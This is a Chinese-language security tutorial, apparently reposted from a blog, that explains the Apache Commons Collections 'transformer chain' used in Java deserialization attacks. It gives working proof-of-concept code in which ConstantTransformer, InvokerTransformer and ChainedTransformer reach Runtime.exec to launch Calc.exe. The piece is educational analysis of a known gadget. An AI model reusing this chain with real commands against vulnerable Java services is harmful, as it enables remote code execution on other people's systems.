栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java审计——Commons Collections 迭代调用链

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java审计——Commons Collections 迭代调用链

0x00 前言

单独的写迭代连的调用,主要原因是因为很多Commons Collections链都是以迭代链为基础而进行进一步利用的。所以先把迭代连找出来。
顺便把Commons Collection的概述基础这些也做一个介绍。

0x01 迭代链

网上大多的文章都是先介绍Transformer等一系列使用到的类,这里我们试着反着来。先上迭代链。迭代链就是通过某种迭代的方式执行多个Transform方法来获取实例。

1. 迭代链POC
Transformer[] transformers = new Transformer[]{

        //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
        //利用反射构造命令执行
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class)

直接执行这个poc就可以触发Calc.exe。
这里是手动写transform进行触发迭代链的。
接下来挨着来看迭代链。简单的整理一下流程就是:

  • 拿到对应类
  • 反射获取方法
  • 执行方法
  • 触发

那么这里我们一步一步来进行拆分,然后再进行整合。

2.获取目标类

我们可以通过ConstantTransformer类中的transform方法来获取类,先来看效果,然后挨着说

Object o=new ConstantTransformer(Runtime.class).transform(Object.class); 
System.out.println(o);


ConstantTransformer实现了Transformer接口,重写了transform。
先来看Transformer接口:

然后再看重写的内容:可以获取到对应的类

3.获取目标类方法

获取目标类的方式使用的 InvokerTransformer,InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
这里得先看一下InvokerTransformer和他的Transformer方法
首先是构造方法,这里的构造方法会接收三个参数,方法名,方法类型,方法的数值。

然后来看Transformer方法:直接调用反射机制来获取到方法的实例。

那么我们要执行exec就要进行连续获取

  • getMethod
  • getRuntime
  • invoke
  • exec

那么获取执行方法实例的poc就是:

Object o=new ConstantTransformer(Runtime.class).transform(Object.class);
Object a=new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}).transform(o);
Object b=new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}).transform(a);
Object c=new InvokerTransformer("exec",
        new Class[]{String.class},
        new String[]{"Calc.exe"}).transform(b);

还有一种简单的方式就是:但是通过这种方式调用的实例无法进行反序列化操作

new ConstantTransformer(Runtime.getRuntime())
new InvokerTransformer("exec", new Class[]{String.class},        new Object[]{"Calc.exe"}),

简单的看一下getRuntime,可以看到是static,java无法对static修饰的方法或属性进行序列化和反序列化。因为static在系统启动时就保存在了某一个特定的位置。

4.迭代调用

那么直接调用的方式是我们需要手动的去调用他们的transform方法,我们需要找到一个可以进行迭代调用的方式。庆幸的是存在一个ChainedTransformer类,ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
那么我们通过ChainedTransformer类调用:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);

那么这样就可以直接触发整个transformers数组的Transform方法。 面试的问题就是如何去触发ChainedTransformer的Transform方法。那么这个就是之后整个反序列链的基础链。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/434903.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号